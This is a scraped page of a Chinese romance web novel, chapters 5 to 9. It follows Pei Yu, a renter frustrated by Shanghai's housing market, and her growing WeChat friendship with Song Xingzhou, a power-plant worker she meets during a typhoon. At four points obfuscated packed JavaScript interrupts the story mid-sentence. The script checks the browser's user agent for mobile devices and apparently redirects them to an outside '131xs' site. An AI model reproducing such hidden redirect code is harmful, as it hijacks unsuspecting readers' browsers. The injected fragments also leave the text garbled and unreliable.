l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718105|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边开会一边等中介的电话。她甚至连合同的打印纸都准备好了。 会议刚结束没两分钟,她的手机亮了。 她毫不犹豫接起:“喂?” “裴小姐,抱歉啊……”中介的声音透着一丝不自然,“刚刚房东打电话来说,这套房子不租了。” “……啊?” “他们的亲戚突然要回国,临时决定先住一阵子。”中介顿了顿,“我也很意外,真的,他们昨天还说没问题的。” “昨天我们不是说好签合同了吗?”她的嗓子在发紧,“我什么资料都准备好了,今天就能签的。” “我理解,我真的理解你的感受。”中介语气里带着敷衍的歉意,“但房东临时变卦,我们也没办法控制……” 她一下子站起来,椅子在身后刮出刺耳的一声。 “我已经把其他房子都pass掉了。”她的声音开始颤,“这套是我唯一看上的,你现在告诉我他们不租了?” 电话那头安静了两秒,中介低声说:“要不我再帮你留意别的房源?” 裴雨没说话,只是“啪”地挂了电话。 她站在会议室外的阳台上,风吹得脸发疼,身后是忙碌嘈杂的办公室,键盘声、对话声、打印机咔咔作响。 她一动不动地站了很久,胸口起伏越来越快。 一股莫名其妙的愤怒慢慢爬上来。不是针对房东,也不是中介。 是这个城市,是这荒谬的规则,是她明明遵守着每一条规矩、努力工作、诚实租房,却连“住在哪里”这种基本生活权利,都可以被随意撤销。 她把合同文件扔进回收箱,手指用力到发抖。 那天晚上,她加班到八点。 打卡的时候同事问:“你租房的事搞定了吗?” 她勉强笑笑:“还没。” “唉,现在租房真难,我朋友也在找,说好一点的房子都得靠抢。” “我不是没抢到,”她的语气已经平静到近乎麻木,“我是被反悔了。” “啊?” “都谈好了,他们突然说不租了。” 同事愣住了,过了几秒,才轻轻拍了拍她的肩:“也许……再看看吧,总会有合适的。” 她点头。 是啊,总会有合适的。 可那得在她再一次从头开始、再一次耗时间、再一次去奔波之后。 她拖着脚步回到家,盯着满屋子的纸箱和收拾了一半的行李,突然鼻子一酸。 这个城市太大了,大到容得下无数高楼,却小得装不下一个她。 她想,自己不过就是想找个地方安安稳稳地活着,怎么就这么难? 那天晚上,她关了手机,不想再接任何电话。连外卖都没点,只是倒了一杯热水,抱着毯子坐在沙发里,听着窗外雨点打在玻璃上的声音,眼神空洞。 她一整晚没怎么睡。 梦里,她又回到了刚毕业那年,拎着两个行李箱来到魔都火车站,一路拖着箱子走过地铁走廊,累得满头大汗,却满眼都是光。 那时候的她,以为努力就能有结果,以为拼尽全力就能留住一席之地。 现在她终于明白了,现实不会因为你努力就松口;它只是在看你什么时候崩溃,什么时候放弃。 但偏偏她又是那种,怎么都不肯服输的人。 第二天清晨,她重新打开手机,屏幕上是中介昨晚发来的新消息。 【我们有新一套房源,位置比昨天那套差一点,但价格便宜些,要不要看看?】 她盯着那条信息看了很久,然后缓缓打字: 【先发图吧。】 5. 暴风雨 魔都的天,说变就变。 早上还阳光明媚,热得她出门都没带伞。到了下午四点多,天突然黑下来,像一张湿透的毛巾狠狠盖在城市的头顶。 风刮得路边的树枝哗啦啦响,裴雨在办公室里看着窗外的雨幕,从细密的雨丝变成了倾盆大雨,哗啦啦地砸在窗玻璃上,像有人从天上猛地往下泼水一样。 她看了一眼时间,下午五点半,还有半个小时就该下班。 “你还不走吗?”隔壁的同事收拾好电脑,“台风要来了,气象局刚发预警,地铁都快停了。” “我得等个文件,上头催得紧。”裴雨叹口气,眼神落在电脑屏幕上还没写完的汇报邮件上,“我尽快弄完,晚点走。” 等她把所有东西处理好,天已经黑得像晚上八点,雨声劈头盖脸地砸下来,风把办公室大门外的宣传板吹得哐哐作响,像有人在拼命敲门。 她把电脑塞进包里,撑着别人的伞冲出办公楼,在马路边站了不到五分钟,伞骨就被狂风刮得变了形。 “地铁真的停了?”她抬头看着天,暴雨像在她脸上打巴掌,根本睁不开眼。 无奈之下,她躲进了公司对面的便利店。小小的门脸里挤了不少人,都是来避雨的上班族,有穿高跟鞋的白领、有快递小哥,还有几个穿着校服的高中生,挤在靠墙的地方嗑瓜子打游戏。 裴雨站在靠近门口的冰柜旁边,浑身被风雨打湿,白衬衫贴在身上,头发也湿哒哒的。她低头看手机,新闻提醒正在疯传:【台风“银霞”已升级为强热带风暴,预计今晚八点登陆华东沿海……】 她咬咬牙,打开了外卖软件,想点个热汤喝。 “要不要杯热可可?” 一个声音从左边传来。 她抬起头,愣了一秒。 ——宋行舟。 他站在便利店门口,浑身湿透了,黑T恤贴在身上,头发滴水,眼镜被雨冲得模糊不清,半张脸藏在水汽里。他一只手举着雨伞,伞布早已被风扯得变了形,另一只手伸出来,递着一杯冒着热气的可可。 “你、你怎么……”裴雨接过那杯可可,有些反应不过来。 宋行舟放下伞,湿漉漉的身影挤进了人群,一边拿纸巾擦眼镜一边说:“我刚下夜班回家,结果电厂那边说有设备可能受风雨影响,让我再跑一趟,结果就这样了。” 他一边说一边眨眼,镜片太模糊了,根本看不清。 “你这造型……”裴雨看着他狼狈又不失认真地擦着眼镜,忍不住笑出了声,“像电视剧里那个被女主甩了还死撑的男配。” “我这么惨还被你笑。”他苦着脸,一脸“我太难了”的表情。 裴雨忍着笑,从自己包里翻出一张干净的纸巾递过去:“你来避雨?” “嗯,路边看见你在便利店里,一眼就认出来了。”他接过纸巾,继续擦着头发,“你也被困住了?” “本来早点走就好了,可公司临时有活,拖了点。” 两人一边说一边往店里角落挪了一点,避开风口。 宋行舟咬了一口热包子,又递给她一个:“刚蒸出来的,不嫌弃的话一块儿吃?” “我还真挺饿的。”裴雨接过,低头咬了一口,包子皮软乎乎的,里面是萝卜丝的馅,热气腾腾地冲进胃里,让她整个人都缓过来一点。 风声雨声持续不断地灌进来,外面天黑得像傍晚十一点,但便利店里灯光暖黄,小小的空间里竟也多了些不真实的温柔感。 “你家远不远?”她问。 “二十分钟路程,估计要等雨小点才敢动身。”他顿了顿,又看向她,“你呢?” “我也不远,可刚刚那风一吹我伞都快翻了。” 宋行舟笑了:“我觉得我们再出去,就得成都市漂流赛了。” 她低头笑了笑。 两人就这么靠在货架旁站了一会儿,偶尔有人推门进来,带进一身风雨和哆哆嗦嗦的咒骂声。 裴雨觉得这时候竟也有点庆幸,自己没早一步离开。 她看着宋行舟手腕上斜挂的工牌:“XX热电厂”,她忽然意识到他的工作性质。 裴雨抬起头问:“你每天都倒班,很辛苦吧?” “习惯了。我们那行没办法,城市不停,我们也不能停。”他语气很平淡,带着一丝理所当然的坚定,“其实比起你们这些在办公室里的白领,我过得倒没那么复杂。你们看起来都像战斗力全开的人。” “我们只是没办法停下来。”她咬了一口包子,笑了笑,“不然就会被替代。” “你挺有趣的。”宋行舟忽然说。 “嗯?” “第一次见你那天虽然没下雨,但你皱着眉冲出来,心里却好像在下雨,我当时心里想,这姑娘八成遇到烦心事了。” “我被房东赶了。”她吐槽,“然后最近又看了无数套房子,价格都贵得吓人,终于看中一套,结果房东签约前反悔,转手嚷别人住了。” 宋行舟愣了一下:“这……太倒霉了。” “是吧?我现在都觉得自己八字不合。” “要不要去我住的那边看看?”他笑了一下,“我们那片房子虽然可能老旧一点,但租金低,生活方便,还有超市菜场。就是离你公司可能会稍微远点。” 她一时没回话,眼睛却亮了亮。 他见她不说话,又补了一句:“我可以陪你看。” 窗外一阵雷声炸响,照亮了便利店门前湿漉漉的水洼和翻卷的落叶。 便利店广播忽然响起温柔的女声:【由于天气原因,今晚本店将延迟闭店时间,请各位顾客注意安全,谨慎出行。】 裴雨搓了搓手上的热可可杯,抬头看了他一眼,轻声说: “谢谢你啊。” “谢什么?” “谢你让我在暴雨天没那么糟心。” 他也看着她,眼镜片上还挂着几滴水,但他的笑意却清澈干净。 “我也谢谢你。”他说。 “为什么?” “谢谢你刚刚笑我。” 她忍不住笑出声,眼里泛起一点亮光,像被雨洗净的街道,在暮色中微微发光。 暴雨还在下,风吹得便利店门口挂着的塑料门帘哗啦啦响个不停。 空气里弥漫着湿冷和泡面热汤混合的味道,裴雨捧着热可可靠在货架边,整个人逐渐放松下来。她看着窗外模糊一片的街道,又瞥了眼身边仍湿漉漉的宋行舟,心里忽然冒出一个念头:如果在这种天气里,身边的人是讨厌的,那真的会变得很难熬。 可眼下这个人……她不讨厌。甚至还挺轻松的。 她本来以为他们上次匆匆分别,算是结束了在这个城市的缘分。 可现在,风雨中他湿淋淋地出现在她面前,还递给她一杯热可可,说了一堆又无厘头又贴心的话,她竟然没有想逃走,反而觉得像是……一场不打招呼的久别重逢。 宋行舟喝完最后一口包子汤汁,把垃圾丢进垃圾桶,转头看着她。 “欸,既然我们这么有缘分。”他说,声音不大,但正好盖过了外头的风声,“要不……加个微信吧?” 裴雨愣了一下,没立刻回答。 但她下意识地看了他两秒。 宋行舟没有催,只是站在那里等着,姿态自然、放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718106|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松,不急不躁。他这会儿头发已经干了一半,额前还贴着几缕湿发,但眼神干净得像是一张白纸。 他不像在追求什么,只像是单纯地希望和她有个联系方式。 “也行。”她笑了,干脆地从口袋里掏出手机,“我扫你。” “你扫我?好啊。”他熟练地打开了二维码页面,手机屏幕上那熟悉的黑白方块一闪一闪地亮着,像个静静等她靠近的邀请。 “宋行舟。”她念了一遍他的名字。 “对。”他点头,“就是‘行船不误打桨人’的那个行舟。” 她笑了笑:“你这名字还挺有诗意的。” “我爸妈当年给我起的时候,大概以为我以后能当海军。” “结果你去了电厂。” “对,还在魔都电厂。”他说,“水陆空都不挨边,偏了八百里。” 她笑得更大声了。 微信加上之后,她点进他的朋友圈,发现他没有屏蔽。上面没发什么自拍,最多的竟是凌晨拍的厂房夜景,几张模糊的城市灯火,还有一次下雪天的早班巡检照。 “你朋友圈怎么这么朴素。”她一边看一边笑,“像企业内刊。” “那你等着。”他说,“为了你,我打算从今天开始,认真做人,走温暖系帅哥路线。” 裴雨愣住,然后又笑。 她很久没有这样笑过了。 这一年她经历了太多不顺心的事,从和宋行舟第一次认识时的糟心,到房东突然不再续租,再到公司忙得脚不沾地、看房总是被放鸽子……生活像一根绷紧的弓弦,随时都可能崩断。 可现在,在暴雨中,在这个便利店的灯光下,宋行舟用他一贯的平常语气、笑着说要“走温暖系帅哥路线”,她居然真的觉得心里暖了一点。 “你还真挺有意思的。”她脱口而出。 “你是第一个这么夸我的人。”他说,“别人都说我太闷了,不会说话。” “那是他们不懂得欣赏。”她咬着吸管,说得一本正经,“我要是再年轻个五岁,说不定已经开始主动追你了。” 他看了她一眼,眼神笑意深了些:“你现在也不老啊。” “那不一样。”她耸耸肩,“现在我看男人都是实用主义优先,租房能不能一起分摊、谁做饭、谁洗碗、谁倒垃圾,才是重点。” 宋行舟挑眉:“那我还挺符合你标准的。我做饭、做卫生、夜班还能顺带检查水电煤,简直是多功能合租室友。” “得了吧,你才刚认识我就要跟我合租?” “那不然我们多聊聊?”他声音轻轻的,带着一点揶揄。 裴雨没再说话,只是看着他笑,觉得空气里都是一股轻松自在的意味。 外头雨还在下,便利店广播忽然放起了周杰伦的老歌《晴天》。 风从门帘缝隙里钻进来,带着雨水的潮意,但她不觉得冷了。 她低头刷着手机,发现宋行舟已经换好了微信头像——是一只站在雷雨中的企鹅,被淋成一团毛球,缩着肩膀露出两只圆眼睛。 “你头像换得挺快啊。” “寓意深远。”他说。 “寓的什么意?” “风雨中见真情。” 她又忍不住笑,心里却浮出一种陌生的温柔——好像,久违地,有人正试着走近她。 不张扬,不剧烈,只是顺着一场雨,轻轻地靠近。 那晚风雨没有停,地铁全线暂停,她也没能及时回去。但宋行舟陪她坐在便利店靠窗的长凳上,两人一起分了一桶泡面,看着外面街道水花翻滚。 她忽然觉得,生活好像没那么难了。 7. 微信好友 微信的好友列表里多了一个人和少了一个人好像对于裴雨来说没什么太大区别。 她起初是这样认为的。 在这个人人都有几百上千联系人,真正联系的却寥寥无几的时代,微信里多一个人,并不会立刻翻起什么浪花。 她甚至一度忘记了那天晚上淋着大雨奔跑的事,仿佛只是下班后偶然路遇的一个插曲。她的生活有太多琐碎要处理,工作邮件像潮水一样一波接一波扑过来,她还没来得及缓一口气,就又被拖进下一场会议。 但宋行舟似乎没那么容易消失。 他们加了微信之后没说什么,连“你好”“谢谢”这种基本的礼貌也没打,像是两个人在地铁口留下了最后一丝余温之后,就各自回到现实的轨道上。 结果第二天一早,裴雨坐在地铁上盯着手机屏幕发呆时,屏幕突然跳出一条新消息。 【宋行舟:我今天带伞了,专业大号,加固防风款。】 后面还配了一张照片,是他举着一把黑色大伞在电厂门口拍的,手伸得很高,伞看起来确实很坚固。照片里的他头发还没干透,额角贴着两缕微卷的碎发,笑得有点得意,好像在炫耀什么了不起的成就。 裴雨盯着照片看了两秒,忍不住噗嗤笑出声。 她回了一句:【了不起,请问哪里购买,市面常见款都不防我体质的暴风雨吸引力。】 宋行舟秒回:【淘宝关键词“末日降临”系列。】 她笑得更厉害了,手机差点掉地上。 就这样,从“末日降临伞”这个神展开开始,两人开始了断断续续的聊天。 不是那种高频率、铺天盖地的热络,而是一天一两句,有时候甚至隔两三天才说一句话。大多时候都是他先开头,发来一张图或者一个段子,又或者某次下班路上路灯下的水洼倒影。 【宋行舟:你看这个水坑是不是有点像便利店门口那天我们踩的那个?】 【宋行舟:今天早上风太大,骑车差点连人带车飞走,我怀疑我体重不够。】 【宋行舟:今天看到你们公司楼下新开了一家咖啡店,招牌很土但是味道还行,算是给你们白领一族增加点快乐了。】 他不说天气,不说“你吃饭了吗”,也不问“你在干嘛”。他像是习惯于以自己为起点叙述世界的碎片,不经意间扔过来,再等她愿不愿意接球。 裴雨一开始只觉得他话多。 但话多得不让人烦,反而带着点隐约的幽默感。 她甚至发现,他有种很微妙的克制——他从不主动问她的私人事情,比如她的工作、家人,甚至连“你最近在干嘛”都从没出现过。他只是在分享自己,等待她也分享一丁点回去。 而她,居然也慢慢习惯了每天早上醒来看一眼手机有没有他的消息;下班地铁上翻翻微信看看他有没有发新图;周末午睡前点开他的朋友圈——他很少发,但每次发都带图,有趣,干净,像是用心收集来送人的礼物。 有一次她忍不住问:【你拍照很有一套啊,学过吗?】 他回:【被前女友逼的,后来发现还挺上头。】 她打字的手顿了一下。 前女友——这词放在大多数聊天里都是个警报词,代表了情史、问题、过去和复杂。但宋行舟说得轻描淡写,像是在介绍自己喜欢喝什么口味的咖啡,没有任何多余情绪,也没有把这个话题往深里带的意思。 她忽然想起那天便利店外他撑着破伞站在雨里笑着对她说话的样子。 那天她没有回他。 但第二天,她在早高峰人挤人地挤上地铁后,拍了一张车厢里挤成沙丁鱼的照片发给他。 【裴雨:今天的空气里多了点脚臭味,我想我是闻到了996的味道。】 他回:【你太有天赋了,我要截图这句存起来。】 她笑了一下,收起手机,忽然就觉得这个早晨也没那么糟。 生活还是照旧。 她还是被催稿、被客户骂、被上司点名开夜会,也还是在某些夜晚下班时觉得前方漆黑一片,看不到尽头。 但有那么一小点不同。 她开始会在中午点外卖的时候多点一份小蛋糕,然后拍照给他看,让他猜是什么味道;她会在街边看到某个乌龙名字的奶茶店拍照给他发过去;甚至有一次去看房回来在电梯里自拍了一张脸皱成一团的样子,发给他: 【今天看了三套房,一套比一套离谱。我要躺平。】 他没直接劝她坚持,也没安慰她。 只回了一句:【你躺平我来扛,地上凉我送你小毯子。】 她那天在电梯里笑得前仰后合,路过的邻居都诧异地看她一眼。 她低头摸了摸脸,还是红的。 明明只是个微信好友。 可是,他好像真的不太一样。 她曾经以为,自己的人生就该是这样沉稳、理智、计划好每一步。她要负担房租、要升职、要稳住当下的一切。 但现在,她好像也愿意留一点点空间给意外。 比如——某个雨夜冲进她生活的宋行舟。 那天晚上,裴雨正窝在沙发上,抱着一床早就不合时节的薄毯子,翻看着今天中介发来的几套房源图。她已经连续三个周末都在看房了,看得眼睛酸、心也酸。 有一套房子的照片拍得尤其好,阳台朝南,客厅很大,墙纸是浅绿色的,竟然让她一瞬间生出点“或许可以搬进去”的错觉。她点进房源详情,蹙眉看着备注里的“租期最好满三年”“限女性租户”“房东年纪大不希望频繁换人”一类信息,一边下意识地打开了微信。 她没有要找谁,只是已经习惯性地,在疲惫的时候,会点开那个聊天窗口。 头像是那个熟悉的图像,微信名却取了个吊儿郎当的外号:“宋某人”。 点进去的时候,他刚好发来一条消息。 【宋某人:周末继续看房?】 她还没来得及回,就又跳出一条。 【宋某人:要不要我陪你一起看看?我擅长帮人砍价,也擅长识别中介撒谎的表情。】 手机屏幕的光映在她脸上,她怔了一下,甚至坐直了身子。 她原本以为,那晚暴雨里那句“以后看房我可以当护法”只是句玩笑,或者说,属于大雨中那种轻飘飘的英雄情结。可现在,这个男人,居然真的记得,而且认真地又提了一次。 她盯着手机屏幕好一会儿,连手机微微震动的提示音都没听见。 外头夜已经很深,窗外的风还没停,偶尔吹得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718108|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗玻璃一阵阵抖动,像是在提醒她什么。 她指尖停在输入框上,打了一行字:【好啊,下周六下午两点,人民广场附近那几套。】 盯着那几个字,她又默默删掉。 又打:【你真的有空?不会耽误你周末休息吧?】 再删掉。 她忽然觉得这种犹豫很陌生。她一向是那种有事说事的人,租房、找房、砍价,全靠自己一张嘴和一双脚,从来不求助别人。但面对宋行舟,她竟然生出了一种奇异的拘谨。 或许是因为他是个陌生人,一个她无法定义的存在。 他们聊得来,像朋友,但不是朋友。他知道她工作压力大,却不知道她具体在那栋大楼里的哪家公司;她知道他有摄影爱好,却不知道他家里的任何背景。他们偶尔开玩笑、偶尔分享生活碎片,关系恰到好处,像两个在黑夜中透过栅栏对望的人,靠近,却保持着距离。 裴雨盯着屏幕上的“要不要我陪你看房?”这句话,脑子里忽然飘过一个念头。 如果他们真的走近了呢?如果那天见面了,现实会不会就像她看过太多套房一样,滤镜褪去,露出裂缝、噪音、阳台不通风这些无法忽略的缺点? 她忽然有点害怕。 她喜欢现在这种状态,或者说,她有点依赖。一个不太熟的人,一个无关痛痒却又默默陪着的人,让她能说出平时对朋友、对同事、甚至对家人都不会说的话。 她不需要解释,不需要担心暴露太多。不需要回应,也不需要任何承诺。就像一场无声的对话,她说的每一句都被回应,却又不会被打破生活的节奏。 她忽然想起小时候去老家外婆家玩,外婆家后院有一口井。水面映着天光,深不见底,却永远平静。她小时候会悄悄扔小石子下去,看水面漾起圈圈涟漪,但石子沉入后,一切又归于平静。 宋行舟,就像那口井。 她可以往里投入一点情绪、一点疲惫、一点不经意的心事。但她不想,也不敢,跳进去。 于是她终究还是打了一句简短的回复。 【裴雨:不用啦,周末你也该好好休息,别陪我瞎跑。】 对话框那边安静了两分钟。 然后他发了一条: 【宋某人:行,那你周末看完记得报个平安。】 她轻轻叹了口气,回了个“好”字,手机放在一边。 她已经习惯了每次失望都自己消化,每次搬家都自己打包,每次深夜醒来,都只有自己一个人盯着天花板发呆。 她怕,太近了,就打破了那份干净的陪伴。 那晚,她躺在床上翻来覆去,一直没睡好。 清晨五点多,她迷迷糊糊醒来,习惯性地点开微信。 那个聊天窗口安安静静地躺在那里,没有新消息。 她忽然松了口气,又有些落空。 人啊,有时候真是矛盾得要命。 想有人靠近,又怕人太近。 她盯着那个窗口许久,最终点进去,在他昨晚那条“记得报个平安”下面,发了句: 【你真的是,说到就做到的那种人。】 大约五分钟后,对方发来了消息。 【宋某人:你也是拒绝得不拖泥带水的那种人。】 8. 星空 最近几天裴雨睡觉时间都很早,一方面调一调作息,另一方面,白天上班已经很累了,熬夜的话第二天会更没精神。 半夜三点,裴雨迷迷糊糊地睁开眼,脑子还是懵的,原本只是想起夜上个厕所,却被手机屏幕上弹出的未读消息唤醒了几分意识。 她先坐起身,愣愣地坐在床边两秒,摸到手机时屏幕还亮着。 是宋行舟发来的消息,时间显示凌晨2:11。 她眨了下眼,看清楚那是一张图片。 照片加载的速度比她预想得慢一点,网络似乎不是很好,或者她手机太老了。但就那一点点画面慢慢显露的过程,却反而给了她一种奇妙的预期。 是星空。 很清澈的那种,没有光污染,天空几乎是深蓝发黑的背景,一颗颗星子明亮得过分,像是原图里多打了光,偏偏又不突兀。能看出是用专业设备拍的,角度也选得巧妙,远处厂房的轮廓成了剪影,屋顶上还有斜着升起的烟,朦朦胧胧地映在夜色里。 【宋某人:今晚巡检顺路拍的。】 她盯着照片看了几秒,又退回聊天界面。 没有别的解释,也没有配上文字式的感想。 就一张照片,一句话。 她没回他消息,放下手机去洗手间。回到床上时却不太困了,干脆又拿起手机把照片点开来重新看了一遍。 看着那张图,她倒不是突然被星空打动了,只是觉得这个人还挺……稳。 她和他认识不久,但每次聊天、开玩笑,哪怕是她有意拉开距离,他也没有显得不高兴或者急躁。就像这个人天生知道什么事不必强求,什么关系该顺其自然。你走一步,他才走一步;你停下了,他就安静站着。 像夜里这张照片,也没说“拍给你看”,但她一眼就知道他是发给她的。 她手指敲了敲屏幕,没有立即回,而是先把照片保存了下来。 她以前不怎么存别人发的东西,手机内存小,工作资料都快塞不下。可这张星空图,她鬼使神差地点了保存,甚至还设成了手机锁屏。 天快亮的时候她又睡了一会儿,醒来时天蒙蒙亮,外头开始下雨。地铁上的人比平时多了一些,她耳机没电了,也懒得拿手机翻剧,只是靠在车厢边,发呆。 无意中看到了锁屏界面那张星空图,心里有点莫名的平静。 她犹豫了一下,终于给宋行舟发了一句: 【这张照片挺好看的。你之前说摄影是兴趣,那你平时会拍很多吗?】 那边大概刚醒,隔了十分钟才回。 【宋某人:不算很多,要看时间和天气配不配合。】 又发来一张图,是白天厂区的样子。烟囱、管道、水汽蒸腾,完全没了夜晚那份静谧。 【宋某人:你以为我白天能拍出什么浪漫的风景吗?】 【裴雨:那你夜里也挺拼的。巡检完还拍照。】 【宋某人:拍的时候也没想太多,就是路过那片天的时候觉得挺干净的。】 【宋某人:拍完才想起你了。】 这句发出来之后,两人都安静了一会。 裴雨没立刻回。她那天行程排得很满,中午在公司食堂跟同事抢了一碗酸辣粉,回来又挤进会议室跟上级讨论产品排期,等再拿起手机已经是下午六点半,她已经到家的时候。 上一次宋行舟给她发“你周末看房记得报个平安”,还是五天前。 但现在,她忽然觉得他们之间的聊天不需要“今天聊不聊”的仪式感。没有刻意找话题,也没有因为安静就觉得尴尬。 她点开聊天框,打了句: 【你拍的照片都挺干净的,难怪我一直下意识以为你是做摄影的。】 对方发了个大笑的表情包,接着回: 【宋某人:你以为我靠拍照糊口吗?那我可活不起,难道你养我?】 她笑出声来,打了三个字——“想得美”,又删了。 最后只发了一个【哈哈哈】过去。 手机屏幕还亮着,宋行舟发来的那张星空图已经看了好几遍。裴雨指尖在屏幕上来回滑动,像是犹豫着要不要再回些什么。 她刚点开一个表情包,消息还没发过去,对面的消息已经过来了。 【宋某人:虽然总是熬夜,但夜晚的星空也挺好看的。】 【宋某人:如果你想看的话,我可以带你出来看看。】 这句话像是忽然落进水面的一颗石子,原本轻轻晃动的水波被拨开了新的涟漪。 裴雨盯着那两行字看了一会,没急着回复。 她不是没见过这种邀请,大多数时候她甚至能一眼判断出这种“如果你想看”的句式背后到底是几分试探、几分主动。但这次她没有立刻贴标签,也没把这句话从头到尾翻译成“他是不是想追我”之类的标准流程,而是停了停,在脑子里认真想了一下“要不要看”。 她以前不是一个特别爱抬头看天的人。生活节奏太快,每天都像是一块敲钟的铁板,时间一到就被驱赶着继续奔跑。 星空太远,城市太亮,大多数时候天上的东西都像是另一个世界的事物,和她没有半点关系。 但那张照片里的天是真的好看。清冷、干净,不是那种甜腻腻的浪漫色,而是一种不吭声的、沉默着存在的安静。 她又翻回去看了看那张图。厂区的屋顶和星星连在一起,远处的轮廓几乎隐没在暗蓝的背景里,只有一点点光亮落在屋脊上,就像灯塔,指着某种方向。 她没有直接答应。 只是隔了好一会儿,发了句: 【你白天工作完还要拍照片,不累吗?】 对方回得很快。 【宋某人:其实挺累的。】 【宋某人:但拍完照片以后,偶尔会觉得,今天也不算太糟糕。】 这句没什么情绪修饰词,但裴雨却觉得心里有点什么被轻轻按了一下。 那种被说中的感觉,有点真实,又有点让人不知道该怎么应对。 她没回复,点了个“赞”当作回应。 然后把手机扣在桌上,靠着椅背沉默地坐了几分钟。 手机屏幕安静下来,房间里只剩下冰箱偶尔的轻响和楼上邻居踩地板的咯吱声。 她忽然意识到,她已经习惯了宋行舟的节奏。习惯他不催、不闹、不要求什么,也不在她没回消息的时候表现出不耐。像是一条温吞的河流,你愿意靠近,它就迎着你;你远一点,它就静静流过去,不打扰你。 第二天中午,两人又开始有一搭没一搭地聊天。 宋行舟说他们厂区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718109|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边最近晚上温差大,晚上拍照手指头都会冻得发僵。他还发了张他戴着半截手套拿相机的照片,手套是棕灰色的毛线,看起来挺旧了,边缘已经有点起毛。 【宋某人:这个手套你别笑我,我妈五年前织的,我一直戴着。】 【裴雨:看起来挺实用的。】 【宋某人:关键是方便按快门。你总不能让我戴那种摸手机用的指套拍夜景吧?】 【裴雨:你可以试试,可能会有不一样的风格。】 【宋某人:拍出星星戴围巾的效果?】 她差点笑出声。 两人像是在文字里逗猫,谁都没往前凑得太紧,但谁也没真的走开。 聊天快结束的时候,宋行舟又轻轻地问了一句: 【要是真的想看星星的话,得挑天气不错的晚上。你周末一般几点下班?】 他问得很克制,没把邀请说第二遍,但留了余地。裴雨看着那句话,想了两秒,还是决定不装没看见。 【裴雨:周末一般不上班。但看天气吧,要真能看到星星再说。】 【宋某人:行,那我提前看天气预报,有好天我提前告诉你。】 这一刻她忽然有点明白了。 不是那张星空照片让她保存下来,也不是这句“要不要一起看”让她觉得心动。而是这个人说“我提前告诉你”的时候,语气里没有一丝勉强,没有一丝想要“换取”她回应的意味。 像是他自己真的很想看,也愿意顺便带她一起。 她把手机放在桌角,出神地盯着屏幕几秒钟。 后来那天夜里,她在朋友圈发了一条文字,没有配图,没有定位。 【有些话不说也没关系。只要有人记得告诉你天晴了。】 点赞的人不多,但最先点的一个是宋行舟。 她没有设他特别关注,但那一刻他出现在了通知栏的最上方。 她盯着他的名字看了很久,忽然想起一个她小时候看过的动画片——小女孩在深夜走失,最后靠着星星找回了家的路。 她不知道自己是不是也在找什么,但她突然觉得,夜空不是那么遥远的事了。 它也可以属于一个在出租屋里孤零零看手机的她。 接下来的几天,他们也没频繁聊天,依旧是那种三五句来回的交流。裴雨有次周五晚上一边切水果一边刷房源,无聊之下随口问他有没有见过特别离谱的中介。他回了一大段话,讲他几年前陪朋友搬家时遇上一个中介带他们去看一间“海景房”,结果是河边的小房子,窗户外头的景是污水处理管。 那天晚上他们聊了挺久。没有哪一句话特别深刻,但就是觉得轻松。 她意识到自己已经很久没有这种状态了。 不是“有一个人聊天”这件事让她舒服,而是“她不需要处理任何人的情绪,也不需要去应付、迁就、试探”,就能正常交流。她不必在乎聊天对象是不是故意接近她、是不是对她有企图心,也不需要考虑关系进展到哪一步。 有时候对方发来一张图,一句话,甚至一个表情,就够她笑一阵子。 也不是说她喜欢宋行舟——起码此时此刻,她还没仔细想过这个问题。只是觉得,在某个普通的凌晨两点,有人给她发来一张星空照片,这事本身,就挺难得的。 9. 梅雨和除湿剂 魔都的天气就是这样。 七八月份的时候热的要死,四五月份又是连绵不断的梅雨季节。 裴雨盯着晾衣杆上的那件白衬衫看了足足有三秒钟。 那是她昨天洗的,挂在阳台外一天半了。理论上,按照日常经验,它早就该干透了才对——但她伸手一捏,布料冰冰的,还透着一点粘腻感。 她皱了皱眉,把整条晾衣杆往里拉了一点。顺手检查了其他衣服的状态——运动T恤、家居裤、袜子,甚至连一块擦手的厨房毛巾都没完全干透。 空气里一股子潮潮的味道,像谁偷偷在屋里撒了点温水。 裴雨瘫坐回沙发上,把手机从茶几上摸过来,拍了张阳台衣服的照片,调了调亮度,给图配了个略显抱怨的文案: 【魔都的梅雨季节,衣服已经挂成了潮湿挂饰。】 